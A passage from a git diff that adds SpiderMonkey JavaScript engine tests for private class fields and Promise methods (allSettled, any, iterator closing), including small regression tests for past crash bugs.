+Object.isFrozen(proxy);
+assertEq(getOwnKeys.length, 1);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/names.js b/js/src/tests/non262/PrivateName/names.js
new file mode 100644
index 0000000000..39d5128b2e
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/names.js
@@ -0,0 +1,30 @@
+// |reftest|
+var C = class {
+ static #field = () => 'Test262';
+ static field = () => 'Test262';
+ #instance = () => 'Test262';
+ instance = () => 'Test262';
+
+ static accessPrivateField() {
+ return this.#field;
+ }
+
+ accessPrivateInstanceField() {
+ return this.#instance;
+ }
+
+ static accessField() {
+ return this.field;
+ }
+
+ accessInstanceField() {
+ return this.instance;
+ }
+}
+assertEq(C.accessPrivateField().name, '#field')
+assertEq(C.accessField().name, 'field');
+var c = new C;
+assertEq(c.accessPrivateInstanceField().name, '#instance');
+assertEq(c.accessInstanceField().name, 'instance');
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/nested-class-name-used.js b/js/src/tests/non262/PrivateName/nested-class-name-used.js
new file mode 100644
index 0000000000..416a1aff36
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/nested-class-name-used.js
@@ -0,0 +1,32 @@
+// |reftest|
+// AllPrivateIdentifiersValid uses only lexical string names, not
+// the dynamic private names; which means the below is not a syntax
+// error but is instead a TypeError on access.
+
+class A {
+ #x = 10;
+ f() {
+ class B {
+ g() {
+ return this.#x; // note: #x isn't declared in this class, but
+ // the enclosing.
+ }
+ };
+ this.y = new B;
+ }
+ constructor() {
+ this.f();
+ }
+ g() {
+ return this.y.g();
+ }
+};
+
+a = new A;
+try {
+ a.g();
+} catch (e) {
+ assertEq(e instanceof TypeError, true);
+}
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/not-iterable.js b/js/src/tests/non262/PrivateName/not-iterable.js
new file mode 100644
index 0000000000..0e9a76f569
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/not-iterable.js
@@ -0,0 +1,39 @@
+// |reftest|
+//
+// Ensure PrivateNames aren't iterable.
+
+class O {
+ #x = 123;
+ gx() {
+ return this.#x;
+ }
+}
+var o = new O;
+
+assertEq(o.gx(), 123);
+
+assertEq(Object.keys(o).length, 0);
+assertEq(Object.getOwnPropertyNames(o).length, 0);
+assertEq(Object.getOwnPropertySymbols(o).length, 0);
+assertEq(Reflect.ownKeys(o).length, 0);
+
+var forIn = [];
+for (var pk in o) {
+ forIn.push(pk);
+}
+assertEq(forIn.length, 0);
+
+// Proxy case
+var proxy = new Proxy(o, {});
+assertEq(Object.keys(proxy).length, 0);
+assertEq(Object.getOwnPropertyNames(proxy).length, 0);
+assertEq(Object.getOwnPropertySymbols(proxy).length, 0);
+assertEq(Reflect.ownKeys(proxy).length, 0);
+
+for (var pk in proxy) {
+ forIn.push(pk);
+}
+assertEq(forIn.length, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/parse-utf8-non-ascii-identifier.js b/js/src/tests/non262/PrivateName/parse-utf8-non-ascii-identifier.js
new file mode 100644
index 0000000000..7f4b15f2dc
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/parse-utf8-non-ascii-identifier.js
@@ -0,0 +1,22 @@
+// Test that non-ASCII identifier names are correctly parsed in the Utf-8 parser.
+
+// Utf-8 encoding for U+05EF is (0xD7 0xAF), the first code unit isn't a valid
+// Ascii ID_START code unit.
+class NonAscii {
+ // U+05EF HEBREW YOD TRIANGLE
+ #ׯ;
+}
+
+// Also check using Unicode escapes works.
+class NonAsciiUnicodeEscape1 {
+ // U+05EF HEBREW YOD TRIANGLE
+ #\u05ef;
+}
+
+class NonAsciiUnicodeEscape2 {
+ // U+05EF HEBREW YOD TRIANGLE
+ #\u{5ef};
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/prototype-proxy.js b/js/src/tests/non262/PrivateName/prototype-proxy.js
new file mode 100644
index 0000000000..55c8abab13
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/prototype-proxy.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!this.hasOwnProperty("wrapWithProto"))
+
+const o0 = {};
+const v2 = new Proxy(o0, o0);
+
+// v8 is a forwarding proxy with "prototype" behaviour;
+// see the comment for mHasPrototype on BaseProxyHandler
+// in Proxy.h.
+//
+// Private Fields don't interact with the hasPrototype
+// behaviour (to minimize the overhead, and since private
+// fields are always own properties).
+const v8 = this.wrapWithProto(v2, {});
+function f9(a10) {
+ return v8;
+}
+class C11 extends f9 {
+ #b = 12;
+ static {
+ const v13 = new this();
+
+ const val = v8.#b; // Get
+ assertEq(val, 12);
+
+ v8.#b = 0; // Set
+ assertEq(v8.#b, 0);
+
+ assertEq(#b in v8, true); // HasOwn.
+ }
+}
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/proxy-1.js b/js/src/tests/non262/PrivateName/proxy-1.js
new file mode 100644
index 0000000000..21f8f0ef08
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/proxy-1.js
@@ -0,0 +1,21 @@
+// |reftest|
+
+class A {
+ #x = 10;
+ g() {
+ return this.#x;
+ }
+};
+
+var p = new Proxy(new A, {});
+var completed = false;
+try {
+ p.g();
+ completed = true;
+} catch (e) {
+ assertEq(e instanceof TypeError, true);
+}
+assertEq(completed, false);
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0);
diff --git a/js/src/tests/non262/PrivateName/proxy-ccw.js b/js/src/tests/non262/PrivateName/proxy-ccw.js
new file mode 100644
index 0000000000..94778489b6
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/proxy-ccw.js
@@ -0,0 +1,66 @@
+// |reftest|
+
+// Validate CCWs and proxies
+class Base {
+ constructor(o) {
+ return o;
+ }
+}
+
+class A extends Base {
+ x1 = 12;
+ #x = 10;
+ static gx(o) {
+ return o.#x;
+ }
+ static sx(o, x) {
+ o.#x = x;
+ }
+ static hasx(o) {
+ try {
+ o.#x;
+ return true;
+ } catch {
+ return false;
+ }
+ }
+}
+
+
+var g = newGlobal({newCompartment: true});
+g.A = A;
+
+// cross_compartment_target is a cross compartment wrapper to an empty object.
+var cross_compartment_target = g.eval('this.x = {}; this.x');
+
+// #x gets stamped into the target of the CCW.
+new A(cross_compartment_target);
+assertEq(A.hasx(cross_compartment_target), true);
+
+// Can we update and read from this compartment?
+assertEq(A.gx(cross_compartment_target), 10);
+var o = {test: 12};
+A.sx(cross_compartment_target, o);
+assertEq(A.gx(cross_compartment_target), o);
+
+// Can we read and update from the other compartment?
+assertEq(g.eval('this.A.gx(this.x)'), o);
+var y = g.eval('this.y = {test: 13}; this.A.sx(this.x, this.y); this.y');
+assertEq(g.eval('this.A.gx(this.x)'), y);
+assertEq(A.gx(cross_compartment_target), y);
+
+
+if (typeof nukeCCW === 'function') {
+ // Nuke the CCW. Now things should throw.
+ nukeCCW(cross_compartment_target);
+ var threw = true;
+ try {
+ A.gx(cross_compartment_target);
+ threw = false;
+ } catch (e) {
+ }
+ assertEq(threw, true);
+}
+
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/proxy-init-set.js b/js/src/tests/non262/PrivateName/proxy-init-set.js
new file mode 100644
index 0000000000..bc78f50a09
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/proxy-init-set.js
@@ -0,0 +1,74 @@
+// |reftest|
+// Ensure that the distinction between Proxy Init and Proxy Set holds
+
+function assertThrowsTypeError(f) {
+ var type;
+ try {
+ f();
+ } catch (ex) {
+ type = ex.name;
+ }
+ assertEq(type, 'TypeError');
+}
+
+
+
+var target = {};
+var p1 = new Proxy(target, {});
+var p2 = new Proxy(target, {});
+
+class Base {
+ constructor(o) {
+ return o;
+ }
+}
+
+class A extends Base {
+ #field = 10;
+ static gf(o) {
+ return o.#field;
+ }
+ static sf(o) {
+ o.#field = 15;
+ }
+}
+
+class B extends Base {
+ #field = 25;
+ static gf(o) {
+ return o.#field;
+ }
+ static sf(o) {
+ o.#field = 20;
+ }
+}
+
+// Verify field handling on the proxy we install it on.
+new A(p1);
+assertEq(A.gf(p1), 10);
+A.sf(p1)
+assertEq(A.gf(p1), 15);
+
+// Despite P1 being stamped with A's field, it shouldn't
+// be sufficient to set B's field.
+assertThrowsTypeError(() => B.sf(p1));
+assertThrowsTypeError(() => B.gf(p1));
+assertThrowsTypeError(() => B.sf(p1));
+new B(p1);
+assertEq(B.gf(p1), 25);
+B.sf(p1);
+assertEq(B.gf(p1), 20);
+
+// A's field should't be on the target
+assertThrowsTypeError(() => A.gf(target));
+
+// Can't set the field, doesn't exist
+assertThrowsTypeError(() => A.sf(p2));
+
+// Definitely can't get the field, doesn't exist.
+assertThrowsTypeError(() => A.gf(p2));
+
+// Still should't be on the target.
+assertThrowsTypeError(() => A.gf(target));
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/read-private-eval.js b/js/src/tests/non262/PrivateName/read-private-eval.js
new file mode 100644
index 0000000000..2c68e1c5d2
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/read-private-eval.js
@@ -0,0 +1,13 @@
+// |reftest|
+
+class A {
+ #x = 14;
+ g() {
+ return eval('this.#x');
+ }
+}
+
+a = new A;
+assertEq(a.g(), 14);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/PrivateName/shell.js b/js/src/tests/non262/PrivateName/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/shell.js
diff --git a/js/src/tests/non262/PrivateName/unicode-names.js b/js/src/tests/non262/PrivateName/unicode-names.js
new file mode 100644
index 0000000000..ff8d1fa2ff
--- /dev/null
+++ b/js/src/tests/non262/PrivateName/unicode-names.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+source = `class A {
+ // Ensure this name parses. Failure would be an InternalError: Buffer too
+ // small
+ #℘;
+}`;
+
+Function(source);
+
+if (typeof reportCompare === 'function') reportCompare(0, 0); \ No newline at end of file
diff --git a/js/src/tests/non262/Promise/allSettled.js b/js/src/tests/non262/Promise/allSettled.js
new file mode 100644
index 0000000000..7644ea97a8
--- /dev/null
+++ b/js/src/tests/non262/Promise/allSettled.js
@@ -0,0 +1,86 @@
+// Smoke test for `Promise.allSettled`, test262 should cover the function in
+// more detail.
+
+// Empty elements.
+Promise.allSettled([]).then(v => {
+ assertDeepEq(v, []);
+});
+
+// Single element.
+Promise.allSettled([Promise.resolve(0)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "fulfilled", "value": 0},
+ ]);
+});
+Promise.allSettled([Promise.reject(1)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "rejected", "reason": 1},
+ ]);
+});
+
+// Multiple elements.
+Promise.allSettled([Promise.resolve(1), Promise.resolve(2)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "fulfilled", "value": 1},
+ {"status": "fulfilled", "value": 2},
+ ]);
+});
+Promise.allSettled([Promise.resolve(3), Promise.reject(4)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "fulfilled", "value": 3},
+ {"status": "rejected", "reason": 4},
+ ]);
+});
+Promise.allSettled([Promise.reject(5), Promise.resolve(6)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "rejected", "reason": 5},
+ {"status": "fulfilled", "value": 6},
+ ]);
+});
+Promise.allSettled([Promise.reject(7), Promise.reject(8)]).then(v => {
+ assertDeepEq(v, [
+ {"status": "rejected", "reason": 7},
+ {"status": "rejected", "reason": 8},
+ ]);
+});
+
+// Cross-Realm tests.
+//
+// Note: When |g| is a cross-compartment global, Promise.allSettled creates
+// the result array in |g|'s Realm. This doesn't follow the spec, but the code
+// in js/src/builtin/Promise.cpp claims this is useful when the Promise
+// compartment is less-privileged. This means for this test we can't use
+// assertDeepEq below, because the result array may have the wrong prototype.
+let g = newGlobal();
+
+if (typeof isSameCompartment !== "function") {
+ var isSameCompartment = SpecialPowers.Cu.getJSTestingFunctions().isSameCompartment;
+}
+
+// Test wrapping when neither Promise.allSettled element function is called.
+Promise.allSettled.call(g.Promise, []).then(v => {
+ assertEq(isSameCompartment(v, g), true);
+
+ assertEq(v.length, 0);
+});
+
+// Test wrapping in `Promise.allSettled Resolve Element Function`.
+Promise.allSettled.call(g.Promise, [Promise.resolve(0)]).then(v => {
+ assertEq(isSameCompartment(v, g), true);
+
+ assertEq(v.length, 1);
+ assertEq(v[0].status, "fulfilled");
+ assertEq(v[0].value, 0);
+});
+
+// Test wrapping in `Promise.allSettled Reject Element Function`.
+Promise.allSettled.call(g.Promise, [Promise.reject(0)]).then(v => {
+ assertEq(isSameCompartment(v, g), true);
+
+ assertEq(v.length, 1);
+ assertEq(v[0].status, "rejected");
+ assertEq(v[0].reason, 0);
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/any-stack-overflow.js b/js/src/tests/non262/Promise/any-stack-overflow.js
new file mode 100644
index 0000000000..8f3919e90a
--- /dev/null
+++ b/js/src/tests/non262/Promise/any-stack-overflow.js
@@ -0,0 +1,14 @@
+// Bug 1646317 - Don't assert on stack overflow under Promise.any().
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+Array.prototype[Symbol.iterator] = function*() {
+ let rejected = Promise.reject(0);
+ let p = Promise.any([rejected]);
+}
+new Set(Object.keys(this));
+new Set(Object.keys(this));
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/any-stack.js b/js/src/tests/non262/Promise/any-stack.js
new file mode 100644
index 0000000000..dacb9e7f73
--- /dev/null
+++ b/js/src/tests/non262/Promise/any-stack.js
@@ -0,0 +1,69 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs async stack capture
+
+function toMessage(stack) {
+ // Provide the stack string in the error message for debugging.
+ return `[stack: ${stack.replace(/\n/g, "\\n")}]`;
+}
+
+// Test when AggregateError isn't created from a Promise Job.
+{
+ let p = Promise.any([]); // line 10
+
+ p.then(v => {
+ reportCompare(0, 1, "expected error");
+ }, e => {
+ assertEq(e.name, "AggregateError");
+ var {stack} = e;
+
+ assertEq(/^@.+any-stack.js:10/m.test(stack), true, toMessage(stack));
+ });
+}
+
+// Same as above, but now with surrounding function context.
+function testNoJobQueue() {
+ let p = Promise.any([]); // line 24
+
+ p.then(v => {
+ reportCompare(0, 1, "expected error");
+ }, e => {
+ assertEq(e.name, "AggregateError");
+ var {stack} = e;
+
+ assertEq(/^testNoJobQueue@.+any-stack.js:24/m.test(stack), true, toMessage(stack));
+ });
+}
+testNoJobQueue();
+
+// Test when AggregateError is created from a Promise Job.
+{
+ let rejected = Promise.reject(0);
+ let p = Promise.any([rejected]); // line 40
+
+ p.then(v => {
+ reportCompare(0, 1, "expected error");
+ }, e => {
+ assertEq(e.name, "AggregateError");
+ var {stack} = e;
+
+ assertEq(/^Promise.any\*@.+any-stack.js:40/m.test(stack), true, toMessage(stack));
+ });
+}
+
+// Same as above, but now with surrounding function context.
+function testFromJobQueue() {
+ let rejected = Promise.reject(0);
+ let p = Promise.any([rejected]); // line 55
+
+ p.then(v => {
+ reportCompare(0, 1, "expected error");
+ }, e => {
+ assertEq(e.name, "AggregateError");
+ var {stack} = e;
+
+ assertEq(/^Promise.any\*testFromJobQueue@.+any-stack.js:55/m.test(stack), true, toMessage(stack));
+ });
+}
+testFromJobQueue();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/any.js b/js/src/tests/non262/Promise/any.js
new file mode 100644
index 0000000000..ff5e676bf5
--- /dev/null
+++ b/js/src/tests/non262/Promise/any.js
@@ -0,0 +1,76 @@
+// Smoke test for `Promise.any`, test262 should cover the function in
+// more detail.
+
+function expectedError() {
+ reportCompare(true, false, "expected error");
+}
+
+// Empty elements.
+Promise.any([]).then(expectedError, e => {
+ assertEq(e instanceof AggregateError, true);
+ assertEq(e.errors.length, 0);
+});
+
+// Single element.
+Promise.any([Promise.resolve(0)]).then(v => {
+ assertEq(v, 0);
+});
+Promise.any([Promise.reject(1)]).then(expectedError, e => {
+ assertEq(e instanceof AggregateError, true);
+ assertEq(e.errors.length, 1);
+ assertEq(e.errors[0], 1);
+});
+
+// Multiple elements.
+Promise.any([Promise.resolve(1), Promise.resolve(2)]).then(v => {
+ assertEq(v, 1);
+});
+Promise.any([Promise.resolve(3), Promise.reject(4)]).then(v => {
+ assertEq(v, 3);
+});
+Promise.any([Promise.reject(5), Promise.resolve(6)]).then(v => {
+ assertEq(v, 6);
+});
+Promise.any([Promise.reject(7), Promise.reject(8)]).then(expectedError, e => {
+ assertEq(e instanceof AggregateError, true);
+ assertEq(e.errors.length, 2);
+ assertEq(e.errors[0], 7);
+ assertEq(e.errors[1], 8);
+});
+
+// Cross-Realm tests.
+//
+// Note: When |g| is a cross-compartment global, Promise.any creates the errors
+// array and the AggregateError in |g|'s Realm. This doesn't follow the spec, but
+// the code in js/src/builtin/Promise.cpp claims this is useful when the Promise
+// compartment is less-privileged. This means for this test we can't use
+// assertDeepEq below, because the result array/error may have the wrong prototype.
+let g = newGlobal();
+
+if (typeof isSameCompartment !== "function") {
+ var isSameCompartment = SpecialPowers.Cu.getJSTestingFunctions().isSameCompartment;
+}
+
+// Test wrapping when no `Promise.any Reject Element Function` is called.
+Promise.any.call(g.Promise, []).then(expectedError, e => {
+ assertEq(e.name, "AggregateError");
+
+ assertEq(isSameCompartment(e, g), true);
+ assertEq(isSameCompartment(e.errors, g), true);
+
+ assertEq(e.errors.length, 0);
+});
+
+// Test wrapping in `Promise.any Reject Element Function`.
+Promise.any.call(g.Promise, [Promise.reject("err")]).then(expectedError, e => {
+ assertEq(e.name, "AggregateError");
+
+ assertEq(isSameCompartment(e, g), true);
+ assertEq(isSameCompartment(e.errors, g), true);
+
+ assertEq(e.errors.length, 1);
+ assertEq(e.errors[0], "err");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/browser.js b/js/src/tests/non262/Promise/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Promise/browser.js
diff --git a/js/src/tests/non262/Promise/bug-1287334.js b/js/src/tests/non262/Promise/bug-1287334.js
new file mode 100644
index 0000000000..19b9ca0aa0
--- /dev/null
+++ b/js/src/tests/non262/Promise/bug-1287334.js
@@ -0,0 +1,7 @@
+var promise = Promise.resolve(1);
+var FakeCtor = function(exec){ exec(function(){}, function(){}); };
+Object.defineProperty(Promise, Symbol.species, {value: FakeCtor});
+// This just shouldn't crash. It does without bug 1287334 fixed.
+promise.then(function(){});
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/bug-1288382.js b/js/src/tests/non262/Promise/bug-1288382.js
new file mode 100644
index 0000000000..0a673a9caa
--- /dev/null
+++ b/js/src/tests/non262/Promise/bug-1288382.js
@@ -0,0 +1,8 @@
+// This just shouldn't trigger a failed assert.
+// It does without bug 1288382 fixed.
+Promise.all.call(class {
+ constructor(exec){ exec(()=>{}, ()=>{}); }
+ static resolve() { return {then(){}}; }
+}, [null]);
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/bug-1289040.js b/js/src/tests/non262/Promise/bug-1289040.js
new file mode 100644
index 0000000000..f5a9fd98e4
--- /dev/null
+++ b/js/src/tests/non262/Promise/bug-1289040.js
@@ -0,0 +1,8 @@
+var global = newGlobal();
+Promise.prototype.then = global.Promise.prototype.then;
+p1 = new Promise(function f(r) {
+ r(1);
+});
+p2 = p1.then(function g(){});
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/bug-1792196.js b/js/src/tests/non262/Promise/bug-1792196.js
new file mode 100644
index 0000000000..946f5737de
--- /dev/null
+++ b/js/src/tests/non262/Promise/bug-1792196.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('settlePromiseNow'))
+
+function main() {
+ function v0(v1) {
+ throw "foobar";
+ }
+ const v8 = new Promise(v0);
+ const v9 = v8.catch();
+ const v11 = this.settlePromiseNow(v9);
+ function v12(v13) {
+ }
+ const v15 = new Promise(v11);
+ const v16 = v15.catch(v12);
+ gc();
+}
+main();
+
+this.reportCompare && reportCompare(true, true);
diff --git a/js/src/tests/non262/Promise/dependent-promises.js b/js/src/tests/non262/Promise/dependent-promises.js
new file mode 100644
index 0000000000..d0e2bfa8e8
--- /dev/null
+++ b/js/src/tests/non262/Promise/dependent-promises.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs Debugger
+
+var g = newGlobal({newCompartment: true});
+var dbg = new Debugger(g);
+var gw = dbg.addDebuggee(g);
+
+g.eval(`
+var p = new Promise(() => {});
+p.name = "p";
+var q = p.then();
+q.name = "q";
+var r = p.then(null, () => {});
+r.name = "r";
+var s = Promise.all([p, q]);
+s.name = "s";
+var t = Promise.race([r, s]);
+t.name = "t";
+`);
+
+function getDependentNames(promise) {
+ return gw.makeDebuggeeValue(promise).promiseDependentPromises.map((p) => p.getOwnPropertyDescriptor('name').value);
+}
+
+function arraysEqual(arr1, arr2, msg) {
+ assertEq(arr1.length, arr2.length, msg + ": length");
+ for (var i = 0; i < arr1.length; ++i) {
+ assertEq(arr1[i], arr2[i], msg + ": [" + i + "]");
+ }
+}
+
+arraysEqual(getDependentNames(g.p), ["q", "r", "s"], "deps for p");
+arraysEqual(getDependentNames(g.q), ["s"], "deps for q");
+arraysEqual(getDependentNames(g.r), ["t"], "deps for r");
+arraysEqual(getDependentNames(g.s), ["t"], "deps for s");
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/enqueue-promise-reactions.js b/js/src/tests/non262/Promise/enqueue-promise-reactions.js
new file mode 100644
index 0000000000..e7a6c2426e
--- /dev/null
+++ b/js/src/tests/non262/Promise/enqueue-promise-reactions.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs getSelfHostedValue and drainJobQueue
+
+function onResolved(val) {
+ result = 'resolved with ' + val;
+}
+
+function onRejected(val) {
+ result = 'rejected with ' + val;
+}
+
+// Replacing `Promise#then` shouldn't affect addPromiseReactions.
+Promise.prototype.then = 1;
+
+// Replacing Promise@@species shouldn't affect addPromiseReactions.
+Object.defineProperty(Promise, Symbol.species, { get: function(){} });
+
+// Replacing `Promise` shouldn't affect addPromiseReactions.
+let PromiseCtor = Promise;
+Promise = {};
+
+let result;
+let res;
+let rej;
+let p = new PromiseCtor(function(res_, rej_) { res = res_; rej = rej_; });
+
+addPromiseReactions(p, onResolved, onRejected);
+res('foo');
+drainJobQueue();
+assertEq(result, 'resolved with foo')
+
+p = new PromiseCtor(function(res_, rej_) { res = res_; rej = rej_; });
+
+addPromiseReactions(p, onResolved, onRejected);
+rej('bar');
+drainJobQueue();
+assertEq(result, 'rejected with bar');
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/for-of-iterator-uses-getv.js b/js/src/tests/non262/Promise/for-of-iterator-uses-getv.js
new file mode 100644
index 0000000000..28c888d7a3
--- /dev/null
+++ b/js/src/tests/non262/Promise/for-of-iterator-uses-getv.js
@@ -0,0 +1,25 @@
+"use strict"; // Use strict-mode to ensure |this| arguments aren't converted to objects.
+
+var emptyIterator = {
+ next() {
+ return {done: true};
+ }
+};
+
+Object.defineProperty(Number.prototype, Symbol.iterator, {
+ configurable: true,
+ get() {
+ assertEq(typeof this, "number");
+ return function() {
+ assertEq(typeof this, "number");
+ return emptyIterator;
+ }
+ }
+});
+
+Promise.all(0);
+Promise.allSettled(0);
+Promise.race(0);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Promise/get-wait-for-all-promise.js b/js/src/tests/non262/Promise/get-wait-for-all-promise.js
new file mode 100644
index 0000000000..69464ce08b
--- /dev/null
+++ b/js/src/tests/non262/Promise/get-wait-for-all-promise.js
@@ -0,0 +1,60 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs getSelfHostedValue and drainJobQueue
+
+function onResolved(val) {
+ result = 'resolved with ' + val;
+}
+
+function onRejected(val) {
+ result = 'rejected with ' + val;
+}
+
+// Replacing `Promise#then` shouldn't affect getWaitForAllPromise.
+let originalThen = Promise.prototype.then;
+Promise.prototype.then = 1;
+
+// Replacing Promise[@@species] shouldn't affect getWaitForAllPromise.
+Object.defineProperty(Promise, Symbol.species, { get: function(){} });
+
+// Replacing `Promise` shouldn't affect getWaitForAllPromise.
+let PromiseCtor = Promise;
+Promise = {};
+
+// Replacing Array[@@iterator] shouldn't affect getWaitForAllPromise.
+Array.prototype[Symbol.iterator] = function(){};
+
+let resolveFunctions = [];
+let rejectFunctions = [];
+let promises = [];
+for (let i = 0; i < 3; i++) {
+ let p = new PromiseCtor(function(res_, rej_) {
+ resolveFunctions.push(res_);
+ rejectFunctions.push(rej_);
+ });
+ promises.push(p);
+}
+
+let allPromise = getWaitForAllPromise(promises);
+let then = originalThen.call(allPromise, onResolved, onRejected);
+
+resolveFunctions.forEach((fun, i)=>fun(i));
+drainJobQueue();
+
+assertEq(result, 'resolved with 0,1,2');
+
+// Empty lists result in a promise resolved with an empty array.
+result = undefined;
+originalThen.call(getWaitForAllPromise([]), v=>(result = v));
+drainJobQueue();
+assertEq(result instanceof Array, true);
+assertEq(result.length, 0);
+
+//Empty lists result in a promise resolved with an empty array.
+result = undefined;
+originalThen.call(getWaitForAllPromise([]), v=>(result = v));
+
+drainJobQueue();
+
+assertEq(result instanceof Array, true);
+assertEq(result.length, 0);
+
+this.reportCompare && reportCompare(true,true);
diff --git a/js/src/tests/non262/Promise/iterator-close.js b/js/src/tests/non262/Promise/iterator-close.js
new file mode 100644
index 0000000000..b3127e87f2
--- /dev/null
+++ b/js/src/tests/non262/Promise/iterator-close.js
@@ -0,0 +1,234 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1180306;
+var summary = 'Promise.{all,race} should close iterator on error';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(ctor, props, { nextVal=undefined,
+ nextThrowVal=undefined,
+ modifier=undefined,
+ rejectReason=undefined,
+ rejectType=undefined,
+ closed=true }) {
+ function getIterable() {
+ let iterable = {
+ closed: false,
+ [Symbol.iterator]() {
+ let iterator = {
+ first: true,
+ next() {
+ if (this.first) {
+ this.first = false;
+ if (nextThrowVal)
+ throw nextThrowVal;
+ return nextVal;
+ }
+ return { value: undefined, done: true };
+ },
+ return() {
+ iterable.closed = true;
+ return {};
+ }
+ };
+ if (modifier)
+ modifier(iterator, iterable);
+
+ return iterator;
+ }
+ };
+ return iterable;
+ }
+ for (let prop of props) {
+ let iterable = getIterable();
+ let e;
+ ctor[prop](iterable).catch(e_ => { e = e_; });
+ drainJobQueue();
+ if(rejectType)
+ assertEq(e instanceof rejectType, true);
+ else
+ assertEq(e, rejectReason);
+ assertEq(iterable.closed, closed);
+ }
+}
+
+// == Error cases with close ==
+
+// ES 2017 draft 25.4.4.1.1 step 6.i.
+// ES 2017 draft 25.4.4.3.1 step 3.h.
+class MyPromiseStaticResolveGetterThrows extends Promise {
+ static get resolve() {
+ throw "static resolve getter throws";
+ }
+};
+test(MyPromiseStaticResolveGetterThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ rejectReason: "static resolve getter throws",
+ closed: false,
+});
+
+class MyPromiseStaticResolveThrows extends Promise {
+ static resolve() {
+ throw "static resolve throws";
+ }
+};
+test(MyPromiseStaticResolveThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ rejectReason: "static resolve throws",
+ closed: true,
+});
+
+// ES 2017 draft 25.4.4.1.1 step 6.q.
+// ES 2017 draft 25.4.4.3.1 step 3.i.
+class MyPromiseThenGetterThrows extends Promise {
+ static resolve() {
+ return {
+ get then() {
+ throw "then getter throws";
+ }
+ };
+ }
+};
+test(MyPromiseThenGetterThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ rejectReason: "then getter throws",
+ closed: true,
+});
+
+class MyPromiseThenThrows extends Promise {
+ static resolve() {
+ return {
+ then() {
+ throw "then throws";
+ }
+ };
+ }
+};
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ rejectReason: "then throws",
+ closed: true,
+});
+
+// ES 2017 draft 7.4.6 step 3.
+// if GetMethod fails, the thrown value should be used.
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ throw "return getter throws";
+ }
+ });
+ },
+ rejectReason: "return getter throws",
+ closed: true,
+});
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ return "non object";
+ }
+ });
+ },
+ rejectType: TypeError,
+ closed: true,
+});
+test(MyPromiseThenThrows, ["all", "race"], {
+ nextVal: { value: Promise.resolve(1), done: false },
+ modifier: (iterator, iterable) => {
+ Object.defineProperty(iterator, "return", {
+ get: function() {
+ iterable.closed = true;
+ // Non callable.
+ return {};
+ }
+ });
+ },
